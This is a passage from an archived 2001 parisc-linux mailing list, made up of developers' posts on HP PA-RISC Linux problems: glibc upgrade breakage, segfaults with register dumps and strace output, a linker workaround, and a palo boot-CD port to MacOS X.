"modeprobe hp100" results in an HPMC.

Off hand, I don't have any good ideas on fixing the problem.
I'll think about it some more.

grant



From - Thu Nov 08 21:20:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: WARNING: DO NOT APT-GET UPGRADE HPPA
Date: Sat, 27 Oct 2001 12:01:45 +0200 (CEST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110271158370.4917-100000@r6.petescaff.com>
References: <20011026182706.2800037FD7@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620687 28922 80.91.229.3 (22 Nov 2014 01:44:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:47 +0000 (UTC)
Cc: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>,
	"debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 27 04:05:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id B74D4482B
	for <parisc-linux@parisc-linux.org>; Sat, 27 Oct 2001 04:05:39 -0600 (MDT)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.22 #5)
	id 15xQGy-0000cL-00; Sat, 27 Oct 2001 12:01:00 +0200
Original-Received: from apm (helo=localhost)
	by r6.petescaff.com with local-esmtp (Exim 3.32 #1 (Debian))
	id 15xQHh-00023X-00; Sat, 27 Oct 2001 12:01:45 +0200
X-X-Sender: <apm@r6.petescaff.com>
In-Reply-To: <20011026182706.2800037FD7@carmen.fc.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12842

Matt

Even stranger.....

I downgraded apache from 1.3.22-2 to 1.3.20-1.1 & I now have a functioning
apache.

Now my box is happy but my mind is still a little confused.

PeteM

On Fri, 26 Oct 2001, Matt Taggart wrote:

[SNIP]
>
> We think the latest hppa libc in Debian (2.2.4-3) is to blame but we don't
> know for sure yet.
>
> Stay tuned....
>
>





From - Thu Nov 08 21:20:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Troubles with expect scripts
Date: Sat, 27 Oct 2001 16:21:50 +0200
Lines: 112
Approved: news@gmane.org
Message-ID: <3BDAC2FE.DBF72DDD@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------DE19AA66CC3EFD0503049108"
X-Trace: ger.gmane.org 1416620687 28926 80.91.229.3 (22 Nov 2014 01:44:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:47 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>,
	debian-hppa-request@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 27 08:26:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5AF23482B
	for <parisc-linux@parisc-linux.org>; Sat, 27 Oct 2001 08:26:24 -0600 (MDT)
Original-Received: from esiee.fr (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id BD857D15B4; Sat, 27 Oct 2001 16:25:52 +0200 (CEST)
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12843

This is a multi-part message in MIME format.
--------------DE19AA66CC3EFD0503049108
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all,

	We are using some scripts using Expect language and they die with a
segmentation fault and you can read this output in the dmesg:

do_page_fault() pid=1068 command='webco' type=15 address=0x000ac800
vm_start = 0x00020000, vm_end = 0x00021000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000100001111
r0-3     00000000 000ac800 400864a7 faf00440
r4-7     40124438 4002a09c 40028a64 faf001c8
r8-11    faf001b8 00000003 00000003 000b9750
r12-15   00000000 ffffffff 000b9930 00000000
r16-19   00000000 00017800 00017800 40124438
r20-23   00000001 00010b9c 40086484 400288f8
r24-27   faf001c8 faf001b8 00000003 00020cb4
r28-31   4001d806 7efefeff faf004c0 4000dd67
sr0-3    00000000 00000af9 00000000 00000af9
sr4-7    00000af9 00000af9 00000af9 00000af9

IASQ: 00000af9 00000af9 IAOQ: 40086607 4008660b
 IIR: 0c201094    ISR: 00000af9  IOR: 000ac800
 CPU:        0   CR30: 16554000 CR31: 102e0000
 ORIG_R28: 4002a09c

I have recently updated glibc 2.2.4-3 but I tried Helge Deller's
"working" version with no result and I tried to recompile the package
and it was useless :( I also attached the output of strace -o output
webco 

If anyone has an idea, please try to fix it.

Thomas
ESIEE Team
--------------DE19AA66CC3EFD0503049108
Content-Type: text/plain; charset=us-ascii;
 name="output"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="output"

execve("/usr/local/bin/webco", ["webco"], [/* 19 vars */]) = 0
newuname({sys="Linux", node="dharma", ...}) = 0
brk(0)                                  = 0x21000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 7078, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40019000
close(3)                                = 0
open("/usr/lib/libexpect5.32.so.1", O_RDONLY) = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0\237"..., 1024) = 1024
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 278388, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4002b000
mprotect(0x4005a000, 85876, PROT_NONE)  = 0
mmap(0x40069000, 16384, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0x2e000) = 0x40069000
mmap(0x4006d000, 8052, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4006d000
close(3)                                = 0
open("/usr/lib/libtcl8.3.so.1", O_RDONLY) = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\1t\304"..., 1024) = 1024
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 752784, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4006f000
mprotect(0x4010c000, 109712, PROT_NONE) = 0
mmap(0x4011b000, 49152, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0x9c000) = 0x4011b000
close(3)                                = 0
open("/lib/libdl.so.2", O_RDONLY)       = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0 D"..., 1024) = 1024
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 75736, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40127000
mprotect(0x4012a000, 63448, PROT_NONE)  = 0
mmap(0x40139000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0x2000) = 0x40139000
close(3)                                = 0
open("/lib/libm.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0\244"..., 1024) = 1024
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 592524, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4013a000
mprotect(0x401b9000, 72332, PROT_NONE)  = 0
mmap(0x401c8000, 12288, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0x7e000) = 0x401c8000
close(3)                                = 0
open("/lib/libutil.so.1", O_RDONLY)     = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0\16"..., 1024) = 1024
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 73600, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x401cb000
mprotect(0x401cd000, 65408, PROT_NONE)  = 0
mmap(0x401dc000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0x1000) = 0x401dc000
close(3)                                = 0
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2z\240"..., 1024) = 1024
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001b000
mmap(NULL, 1416396, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x401dd000
mprotect(0x4031a000, 117964, PROT_NONE) = 0
mmap(0x40329000, 45056, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0x13c000) = 0x40329000
mmap(0x40334000, 11468, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40334000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001c000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001d000
mprotect(0x10000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x10000, 4096, PROT_READ|PROT_EXEC) = 0
munmap(0x40019000, 7078)                = 0
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

--------------DE19AA66CC3EFD0503049108--




From - Thu Nov 08 21:20:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] WARNING: DO NOT APT-GET UPGRADE HPPA
Date: 28 Oct 2001 01:32:04 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <1004225524.624.6.camel@cube>
References: <20011026182706.2800037FD7@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620688 28930 80.91.229.3 (22 Nov 2014 01:44:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:48 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 27 17:32:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD9001DD3.dip.t-dialin.net [217.0.29.211])
	by dsl2.external.hp.com (Postfix) with SMTP id E7F61482C
	for <parisc-linux@parisc-linux.org>; Sat, 27 Oct 2001 17:32:42 -0600 (MDT)
Original-Received: (qmail 7959 invoked from network); 27 Oct 2001 23:30:55 -0000
Original-Received: from cube.fischlustig.de (andi@192.168.1.14)
  by tentakel.fischlustig.de with SMTP; 27 Oct 2001 23:30:55 -0000
In-Reply-To: <20011026182706.2800037FD7@carmen.fc.hp.com>
X-Mailer: Evolution/0.15 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12844

On Fri, 2001-10-26 at 20:27, Matt Taggart wrote:
> As PeteM and others have discovered, upgrading your hppa box currently breaks 
> a *lot*.


Every program that is linked agains gtk+ segfaults, no matter if it uses
gtk or not. It seems to be a linker problem.

andi








From - Thu Nov 08 21:20:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] WARNING: DO NOT APT-GET UPGRADE HPPA
Date: 28 Oct 2001 02:38:04 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <1004233084.1307.6.camel@cube>
References: <20011026182706.2800037FD7@carmen.fc.hp.com> 
	<1004225524.624.6.camel@cube>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620688 28934 80.91.229.3 (22 Nov 2014 01:44:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:48 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>,
	parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: andi <andi@fischlustig.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 27 19:36:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD9001DD3.dip.t-dialin.net [217.0.29.211])
	by dsl2.external.hp.com (Postfix) with SMTP id 8D699482B
	for <parisc-linux@parisc-linux.org>; Sat, 27 Oct 2001 19:36:57 -0600 (MDT)
Original-Received: (qmail 22303 invoked from network); 28 Oct 2001 01:36:55 -0000
Original-Received: from cube.fischlustig.de (andi@192.168.1.14)
  by tentakel.fischlustig.de with SMTP; 28 Oct 2001 01:36:55 -0000
In-Reply-To: <1004225524.624.6.camel@cube>
X-Mailer: Evolution/0.15 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12845

On Sun, 2001-10-28 at 01:32, andi wrote:
> On Fri, 2001-10-26 at 20:27, Matt Taggart wrote:
> > As PeteM and others have discovered, upgrading your hppa box currently breaks 
> > a *lot*.
> 
> 
> Every program that is linked agains gtk+ segfaults, no matter if it uses
> gtk or not. It seems to be a linker problem.

2.2.4-4 fixes that problem. python however is still broken.

andi





From - Thu Nov 08 21:20:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles with expect scripts
Date: Sun, 28 Oct 2001 12:14:03 +1030
Lines: 12
Approved: news@gmane.org
Message-ID: <20011028121403.F1050@bubble.sa.bigpond.net.au>
References: <3BDAC2FE.DBF72DDD@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620688 28937 80.91.229.3 (22 Nov 2014 01:44:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:48 +0000 (UTC)
Cc: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>,
	debian-hppa-request@lists.debian.org
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 27 19:44:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta04ps.bigpond.com (mta04ps.bigpond.com [144.135.25.136])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3EC62482B
	for <parisc-linux@parisc-linux.org>; Sat, 27 Oct 2001 19:44:13 -0600 (MDT)
Original-Received: from bubble.local ([144.135.25.78]) by
          mta04ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GLW7SG00.1J7 for <parisc-linux@parisc-linux.org>; Sun, 28 Oct
          2001 11:50:40 +1000 
Original-Received: from 144.136.192.57 ([144.136.192.57]) by PSMAM04.mailsvc.email.bigpond.com(MailRouter V2.9k 8401/4204157); 28 Oct 2001 11:44:04
Original-Received: (qmail 2617 invoked by uid 179); 28 Oct 2001 01:44:03 -0000
Mail-Followup-To: Thomas Marteau <marteaut@esiee.fr>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>,
	debian-hppa-request@lists.debian.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <3BDAC2FE.DBF72DDD@esiee.fr>; from marteaut@esiee.fr on Sat, Oct 27, 2001 at 04:21:50PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12846

On Sat, Oct 27, 2001 at 04:21:50PM +0200, Thomas Marteau wrote:
> 
> 	We are using some scripts using Expect language and they die with a
> segmentation fault and you can read this output in the dmesg:

This isn't a fix, but may be a workaround:  Try "export LD_BIND_NOW=1" to
disable lazy binding by the dynamic linker.

Alan




From - Thu Nov 08 21:20:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roy Bryant <roybryant@SEVENtwentyfour.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Broken link in www.parisc-linux.org
Date: Sun, 28 Oct 2001 17:39:52 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <AAE15EBA0A92D511B28400A0C99834D8876C01@MAIL724>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620689 28941 80.91.229.3 (22 Nov 2014 01:44:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:49 +0000 (UTC)
To: "'parisc-linux@parisc-linux.org'" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 28 15:38:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail724.SEVEN24 (mail.seventwentyfour.com [209.167.50.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29BF3482B
	for <parisc-linux@parisc-linux.org>; Sun, 28 Oct 2001 15:38:23 -0700 (MST)
Original-Received: by MAIL724 with Internet Mail Service (5.5.2653.19)
	id <V41NDT24>; Sun, 28 Oct 2001 17:39:56 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12847

There appears to be a problem on this page of your site.

    On page http://www.parisc-linux.org/weekly/20000310.html
    when you click on "webpage",
    the link to http://www.parisc-linux.org/buzzwords.html
    gives the error: Not found.

As recommended by the Robot Guidelines, this email is to explain our robot's
activities and to let you know about one of the broken links we encountered.
LinkWalker does not store or publish the content of your pages, but rather
uses the link information to update our map of the World Wide Web.

Are these reports helpful? I'd love some feedback. If you prefer not to
receive these occasional error notices please let me know.

Roy Bryant

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Roy Bryant, roybryant@seventwentyfour.com
 President
 SEVENtwentyfour Inc. ("Always watching the Web")
 http://www.seventwentyfour.com
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 



From - Thu Nov 08 21:20:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Williams <dan@bigw.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Creating boot CD with MacOS X
Date: Mon, 29 Oct 2001 08:15:15 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <5FBBACF2-CC77-11D5-A7EF-0030657D1C94@bigw.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v472)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620689 28943 80.91.229.3 (22 Nov 2014 01:44:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 29 07:15:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from beloit.edu (beloit.edu [144.89.40.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27F30482B
	for <parisc-linux@parisc-linux.org>; Mon, 29 Oct 2001 07:15:18 -0700 (MST)
Original-Received: from localhost ([144.89.185.182])
	by beloit.edu (AIX4.3/8.9.3/8.9.0) with ESMTP id IAA33504
	for <parisc-linux@parisc-linux.org>; Mon, 29 Oct 2001 08:10:02 -0600
X-Mailer: Apple Mail (2.472)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12848

OK...  I've done a quick and dirty port of palo to MacOS X/Darwin.  
Here's my output:

[localhost:~/Desktop] dan% ./palo -f ./iso.conf
palo version 0.95 dan@localhost Sun Oct 28 23:53:13 CST 2001
ELF32 executable
ipl: addr 192512 size 26624 entry 0x0
  ko 0x0 ksz 0 k64o 0x0 k64sz 0 rdo 0 rdsz 0
<>
ipl: addr 192512 size 26624 entry 0x0
  ko 0x6ad6800 ksz 2853588 k64o 0x0 k64sz 0 rdo 118468608 rdsz 1991209
<0/vmlinux root=/dev/ram initrd=0/ramdisk>

And the iso.conf file contains:
-c0/vmlinux root=/dev/ram initrd=0/ramdisk
-k/Volumes/palinux-0.9.1/debian/dists/sid/main/disks-
hppa/current/32/vmlinux
-b/Volumes/palinux-0.9.1/iplboot
-r/Volumes/palinux-0.9.1/debian/dists/sid/main/disks-
hppa/current/root.bin
-C./palinux-0.9.2.iso

/Volumes/palinux-0.9.1 is a mounted image of the palinux-0.9.2 ISO 
file.  It's not the same file that I'm trying to modify with palo.  
Anyway, does this look like it would work to boot from if I copied the 
modified ISO to a Win2k machine to burn directly to CD with EasyCD 
Creator?

Thanks,
Dan




From - Thu Nov 08 21:20:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "jean-yves GUILLEVIC" <jean-yves.guillevic@wanadoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715S/33 aka Strider-33
Date: Mon, 29 Oct 2001 21:43:12 +0100
Lines: 336
Approved: news@gmane.org
Message-ID: <005401c160ba$56bd13a0$010101a8@TPDEV.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620690 28944 80.91.229.3 (22 Nov 2014 01:44:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:50 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 29 13:41:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
